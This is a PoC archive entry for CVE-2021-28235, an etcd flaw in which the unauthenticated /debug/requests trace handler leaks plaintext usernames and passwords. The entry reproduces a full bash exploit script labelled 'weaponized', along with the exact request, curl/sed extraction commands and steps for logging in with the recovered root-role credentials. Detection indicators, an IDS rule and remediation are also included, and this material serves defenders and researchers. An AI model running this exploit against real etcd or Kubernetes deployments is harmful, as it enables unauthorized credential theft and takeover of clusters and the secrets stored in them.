PoC Archive PoC Archive
CVE-2021-28235 category: network CVSS 9.8 (CRITICAL)
Patched

etcd Debug Trace Credential Leak / Improper Authentication (CVE-2021-28235)

Published: 2026-11-27 • Researcher: GitHub user h3ck13r (repository owner); commit author s0m3body. The CVE itself was assigned from external reporter/patch work that the public record does not name; the fix is by the etcd maintainers and the Ubuntu security team.

Target software etcd (etcd-io), including the debug HTTP handlers served alongside the client API on port 2379; relevant to Kubernetes clusters whose control plane data lives in etcd
Affected versions Confirmed on 3.4.10; the flaw exists in releases before 3.5.8 and was backported to 3.4 and 3.5 by distributions (Ubuntu USN-6189-1 patches 3.4.x/3.5.x)
Status Weaponized (lab script runs the whole chain and prints recovered credentials; the follow-on authenticated access uses those credentials)
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2021-28235
Category
network
Affected product
etcd (etcd-io), including the debug HTTP handlers served alongside the client API on port 2379; relevant to Kubernetes clusters whose control plane data lives in etcd
Affected versions
Confirmed on 3.4.10; the flaw exists in releases before 3.5.8 and was backported to 3.4 and 3.5 by distributions (Ubuntu USN-6189-1 patches 3.4.x/3.5.x)
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-07-18 (upstream commit 6a9b992, “fix: small changes to a script”)
Author / ResearcherGitHub user h3ck13r (repository owner); commit author s0m3body. The CVE itself was assigned from external reporter/patch work that the public record does not name; the fix is by the etcd maintainers and the Ubuntu security team.
CVE / AdvisoryCVE-2021-28235
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3.1, NVD; vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H); EPSS 0.016
StatusWeaponized (lab script runs the whole chain and prints recovered credentials; the follow-on authenticated access uses those credentials)
Tagsetcd, Kubernetes, authentication bypass, credential disclosure, debug endpoint, gRPC tracing, pprof, CWE-287, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / Systemetcd (etcd-io), including the debug HTTP handlers served alongside the client API on port 2379; relevant to Kubernetes clusters whose control plane data lives in etcd
Versions AffectedConfirmed on 3.4.10; the flaw exists in releases before 3.5.8 and was backported to 3.4 and 3.5 by distributions (Ubuntu USN-6189-1 patches 3.4.x/3.5.x)
Language / PlatformTarget is Go on Linux (container in the lab); the PoC is a bash script driven by curl and docker
Authentication RequiredNo — the debug handler answers unauthenticated requests even when etcd authentication is enabled
Network Access RequiredYes — TCP/2379 reachability to the client URL

Summary

etcd serves the Go net/trace debug handlers on the same listener as its client API, and those handlers answer paths such as /debug/requests without passing through the authentication layer. When etcd debugging and gRPC request tracing are enabled, the recorded traces include the Auth RPC, and that RPC carries the client’s username and password in clear text inside the request message. An unauthenticated attacker who can reach port 2379 can therefore read the traces, recover the credentials of any user who has authenticated since the process started, and log in with them normally. Because administrative traffic is traced too, the recovered account can hold the root role, which turns a read of a debug page into full control of the datastore and, in a Kubernetes deployment, of the cluster that depends on it.

Vulnerability Details

Root Cause

CWE-287, improper authentication, with a credential-disclosure component. etcd’s client listener exposes the debug handlers from the Go net/trace and pprof packages, including /debug/requests, /debug/events and /debug/pprof. Those handlers were not covered by the authentication interceptor that guards the gRPC API, so they are reachable without credentials regardless of whether etcd auth is enabled. Separately, when debug logging and gRPC tracing are active, the trace family grpc.Recv.Auth records inbound Auth requests, and the AuthRequest proto carries the plaintext password. Rendering the trace therefore prints the credential pair that the client sent. The fix blanks the password before the request is traced or logged (etcd pull request 15648, “security: clear password after authenticating the user”), released in 3.5.8 and backported to the 3.4 and 3.5 packages by distributions. Note that the debug handlers themselves remain reachable by design; the patch removes the secret from the trace output rather than locking down /debug.

Attack Vector

A single unauthenticated HTTP GET to the client port:

Output
GET /debug/requests?fam=grpc.Recv.Auth&b=1&exp=1 HTTP/1.1
Host: target:2379

The fam parameter selects the gRPC Auth receive family, b selects the recent-buffer view and exp expands the recorded events so the message contents are shown rather than just timestamps. The response is HTML in which each traced RPC appears as a structure containing name:"<user>" password:"<password>". No authentication header, client certificate or token is needed.

Impact

Disclosure of etcd credentials for every user that has authenticated while tracing was active, including accounts holding the root role. With those credentials an attacker reads and writes every key in the store, creates or deletes users and roles, disables authentication, and takes snapshots. In a Kubernetes environment etcd holds the entire cluster state including Secrets, so the practical impact is cluster takeover, persistent control over workloads, and theft of service-account tokens and other credentials stored there. Because the leak is passive, the victim’s credentials keep working and nothing is modified, which makes detection depend on spotting the debug request rather than on data tampering.

Environment / Lab Setup

Output
OS:          Linux host with Docker
Target:      etcd v3.4.10 in Docker (gcr.io/etcd-development/etcd:v3.4.10),
             client API on 0.0.0.0:2379, auth enabled, debug tracing on
Attacker:    Same host; the unauthenticated request needs no credentials
Tools:       bash, docker, curl, sed (all used by the script)

Setup Steps

Shell script
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
docker run -d --name etcd-gcr-v3.4.10 -p 2379:2379 -p 2380:2380 \
  gcr.io/etcd-development/etcd:v3.4.10 /usr/local/bin/etcd \
  --name s1 --data-dir /etcd-data \
  --listen-client-urls http://0.0.0.0:2379 \
  --advertise-client-urls http://0.0.0.0:2379 \
  --log-level=debug --debug --logger zap --log-outputs stderr

docker exec etcd-gcr-v3.4.10 /usr/local/bin/etcdctl user add root:root
docker exec etcd-gcr-v3.4.10 /usr/local/bin/etcdctl role add root
docker exec etcd-gcr-v3.4.10 /usr/local/bin/etcdctl user grant-role root root
docker exec etcd-gcr-v3.4.10 /usr/local/bin/etcdctl auth enable

The two credential pairs the script uses (root:root and admin:admin_pass) are lab values that it creates itself; no real credentials are involved.

Proof of Concept

Step-by-Step Reproduction

  1. Run the script — it starts etcd 3.4.10, creates the root user and role, enables auth, adds a second admin user with the root role, then makes the unauthenticated request.

    Shell script
    1
    2
    
    chmod +x poc.sh
    ./poc.sh
  2. Read the unauthenticated debug trace — this is the entire exploit, sent without any credentials:

    Shell script
    1
    
    curl --silent 'http://127.0.0.1:2379/debug/requests?fam=grpc.Recv.Auth&b=1&exp=1'
  3. Extract the pairs — the script decodes the HTML entities, strips blank space and parses the logged Auth messages:

    Shell script
    1
    2
    3
    4
    
    curl --silent 'http://127.0.0.1:2379/debug/requests?fam=grpc.Recv.Auth&b=1&exp=1' \
      | grep password \
      | sed 's|&#34;|"|g' | tr -d '[:blank:]' \
      | sed -nE 's|.+name:"([^"]+)".+password:"([^"]+)".+|\1 \2|p'
  4. Use the recovered credentials — authenticate as the leaked privileged account:

    Shell script
    1
    2
    
    docker exec etcd-gcr-v3.4.10 /usr/local/bin/etcdctl member list \
      --user=admin --password=admin_pass

Exploit Code

See poc.sh in this folder for the complete lab script.

Shell script
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
ETCD_DEBUG_PATH="debug/requests"
ETCD_AUTH_DEBUG_PATH="?fam=grpc.Recv.Auth&b=1&exp=1"

creds="$(curl --silent http://127.0.0.1:2379/${ETCD_DEBUG_PATH}${ETCD_AUTH_DEBUG_PATH} | grep password)"
if [ "$?" -eq 0 ]; then
    printf "[+] Credentials leaked!\n"
    cleared_creds=$(echo "$creds" | sed 's|&#34;|"|g' | tr -d '[:blank:]')
    while IFS= read -r line; do
        cleared_username=$(echo "$line" | sed -nE 's|.+name:"([^"]+)".+|\1|p')
        cleared_password=$(echo "$line" | sed -nE 's|.+password:"([^"]+)".+|\1|p')
        hash_table["$cleared_username"]="$cleared_password"
    done <<<"$cleared_creds"
fi

The script also enables the tracing that makes the leak observable (--log-level=debug --debug) and cleans up the container and local data directory when it finishes.

Expected Output

Output
[*] CVE-2021-28235 PoC
[*] Spinning up a etcd-gcr-v3.4.10 docker container
[*] Populating etcd with data
[*] Adding root user and role
[*] Put data and enable etcd auth
[*] Checking etcd API
{"etcdserver":"3.4.10","etcdcluster":"3.4.0"}
{"health":"true"}
[+] Credentials leaked!
[+] Collecting creds...
USERNAME PASSWORD
[+] Dumped credentials pair!
root root
[+] Dumped credentials pair!
admin admin_pass

The order of the two pairs is not deterministic because the script stores them in a bash associative array. A hardened or patched target prints [-] No credentials leaked instead.

Detection & Indicators of Compromise

Output
GET /debug/requests            (especially with fam=grpc.Recv.Auth and exp=1)
GET /debug/events
GET /debug/pprof/* or /debug/pprof/cmdline
Any 200 response on /debug on a port that should only serve etcd gRPC or a kube-apiserver

Client address on 2379 that never appears in normal control-plane inventory
Debug handler requests from a namespace that is not the observability stack
etcd audit events (3.5+) showing Auth or user-admin RPCs from a new client address
kube-apiserver connection loss, or etcd restarts without a change record

New etcd users, roles or role grants; auth disabled and re-enabled
Large ranges read with the leaked account; snapshot or defrag requests
Kubernetes Secrets accessed in bulk by a previously unseen identity

SIEM / IDS Rule (example):

Output
alert http any any -> any 2379 (msg:"CVE-2021-28235 etcd debug trace credential leak attempt"; flow:to_server,established; content:"/debug/requests"; http_uri; content:"Recv.Auth"; http_uri; classtype:attempted-recon; sid:9028235; rev:1;)

Remediation

ActionDetail
PatchUpgrade to etcd 3.5.8 or later, or to a distribution build that carries the password-blanking backport (for example Ubuntu USN-6189-1 for 3.4.x/3.5.x).
WorkaroundTerminate etcd’s client port behind a proxy or network policy that rejects /debug paths, or restrict 2379 to the control-plane hosts that need it. Do not expose the client URL to user or corporate networks.
Config HardeningDo not run production etcd with –debug, and keep debug logging off outside short troubleshooting windows. Enable TLS with client certificates so a leaked password is not the only factor, use a non-root administrative account for automation, rotate etcd credentials and client certificates after any suspected trace exposure, and audit etcd users and role grants afterwards.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/h3ck13r/CVE-2021-28235 (0 stars, a single bash script with no upstream README).

Review verdict: ingested. The script is a real end-to-end demonstration rather than a scanner or a version check: it builds a vulnerable etcd 3.4.10 with authentication enabled, then retrieves the root and admin credential pairs from an unauthenticated debug endpoint and prints them, which matches the CVE description (privilege escalation via the debug function) and the Ubuntu advisory wording (etcd leaked credentials when debugging was enabled). It is single-target, hardcoded to 127.0.0.1, and contains no C2, persistence, evasion, credential-harvesting-at-scale or mining logic; the credential it prints is one it created in its own disposable container. No upstream README exists, so no upstream-README.md is archived; only the script is copied.

License: the repository has no LICENSE file, so copyright remains with the author and no reuse rights are granted. The archived script keeps the original code and adds only a two-line research-use header.

Limitations: the leak depends on debug tracing being active, and the script enables it with –log-level=debug and –debug; a target running normally may not record the Auth family at all, so the CVE is only exploitable on misconfigured or troubleshooting-mode instances. The script needs Docker, pulls gcr.io/etcd-development/etcd:v3.4.10, uses hardcoded lab credentials, only queries 127.0.0.1 so it must run on or beside the target, and its cleanup deletes the container and the local data directory. It proves the credential disclosure but leaves the authenticated escalation to the operator (an etcdctl call with the recovered account); it does not itself demonstrate the root-role actions. The public record for this CVE is thin and there is no upstream etcd security advisory for it, so the exact range and the maintainers’ position should be confirmed against the etcd release notes for 3.5.8 rather than inferred from the NVD entry alone. No exploit was executed during preparation of this entry; the Expected Output is the script’s own documented flow.

poc.sh
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
#! /bin/bash
# Archived for authorized security research only.
# Source: https://github.com/h3ck13r/CVE-2021-28235 (see README for attribution/license)

ETCD_VER=v3.4.10
ETCD_DIR=/tmp/etcd-data.tmp
ETCD_DEBUG_PATH="debug/requests"
ETCD_AUTH_DEBUG_PATH="?fam=grpc.Recv.Auth&b=1&exp=1"

RED=$'\e[0;31m'
GREEN=$'\e[0;32m'
BLUE=$'\e[0;34m'
RST=$'\e[0m'

start_etcd() {
	printf "%s[*]%s Spinning up a etcd-gcr-${ETCD_VER} docker container\n" "$BLUE" "$RST"

	mkdir -p -m700 "$ETCD_DIR"
	docker run \
		--user "$(id -u)":"$(id -g)" \
		-p 2379:2379 -p 2380:2380 -d \
		--mount type=bind,source=/tmp/etcd-data.tmp,destination=/etcd-data \
		--name etcd-gcr-"${ETCD_VER}" gcr.io/etcd-development/etcd:"${ETCD_VER}" \
		/usr/local/bin/etcd \
		--name s1 --data-dir /etcd-data \
		--listen-client-urls http://0.0.0.0:2379 \
		--advertise-client-urls http://0.0.0.0:2379 \
		--listen-peer-urls http://0.0.0.0:2380 \
		--initial-advertise-peer-urls http://0.0.0.0:2380 \
		--initial-cluster s1=http://0.0.0.0:2380 \
		--initial-cluster-token tkn \
		--initial-cluster-state new \
		--log-level=debug --debug \
		--logger zap \
		--log-outputs stderr
}

bootstrap_etcd() {
	ETCD_CTL="/usr/local/bin/etcdctl"
	printf "%s[*]%s Populating etcd with data\n" "$BLUE" "$RST"
	printf "%s[*]%s Adding root user and role\n" "$BLUE" "$RST"

	docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" user add root:root
	docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" role add root
	docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" user grant-role root root
	sleep 3

	printf "%s[*]%s Put data and enable etcd auth\n" "$BLUE" "$RST"

	docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" put pwn etcd
	docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" auth enable
	docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" get pwn --user=root --password=root
	sleep 3

	printf "%s[*]%s Add admin user and grant root role\n" "$BLUE" "$RST"

	docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" user add admin:admin_pass --user=root --password=root
	docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" user grant-role admin root --user=root --password=root
	docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" get pwn --user=admin --password=admin_pass
	sleep 3
}

get_etcd_passwords() {
	printf "%s[*]%s Checking etcd API\n" "$BLUE" "$RST"
	curl http://127.0.0.1:2379/version && echo
	curl http://127.0.0.1:2379/health && echo
	declare -A hash_table
	local creds
	creds="$(curl --silent http://127.0.0.1:2379/"${ETCD_DEBUG_PATH}${ETCD_AUTH_DEBUG_PATH}" | grep password)"
	echo "$creds" &>/dev/null
	if [ "$?" -eq 0 ]; then
		printf "%s[+]%s Credentials leaked!\n" "$GREEN" "$RST"
		cleared_creds=$(echo "$creds" | sed 's|&#34;|"|g' | tr -d '[:blank:]')
		printf "%s[+]%s Collecting creds...\n" "$GREEN" "$RST"
		while IFS= read -r line; do
			cleared_username=$(echo "$line" | sed -nE 's|.+name:"([^"]+)".+|\1|p')
			cleared_password=$(echo "$line" | sed -nE 's|.+password:"([^"]+)".+|\1|p')
			hash_table["$cleared_username"]="$cleared_password"
		done <<<"$cleared_creds"
		printf "USERNAME PASSWORD\n"
		for entry in "${!hash_table[@]}"; do
			printf "%s[+]%s Dumped credentials pair!\n" "$GREEN" "$RST"
			echo "$entry ${hash_table[$entry]}"
			sleep 1
		done
	elif [ "$?" -eq 1 ]; then
		printf "%s[-]%s No credentials leaked\n" "$RED" "$RST"
	fi
}

cleanup() {
	printf "%s[*]%s Cleaning up...\n" "$BLUE" "$RST"

	rm -rf "$ETCD_DIR"
	docker container stop etcd-gcr-"${ETCD_VER}" 2>/dev/null
	docker container rm etcd-gcr-"${ETCD_VER}" 2>/dev/null
	docker image rm gcr.io/etcd-development/etcd:"${ETCD_VER}" 2>/dev/null
}

printf "%s[*]%s CVE-2021-28235 PoC\n" "$BLUE" "$RST"

cleanup
start_etcd && sleep 1
bootstrap_etcd && sleep 1
get_etcd_passwords && sleep 1
cleanup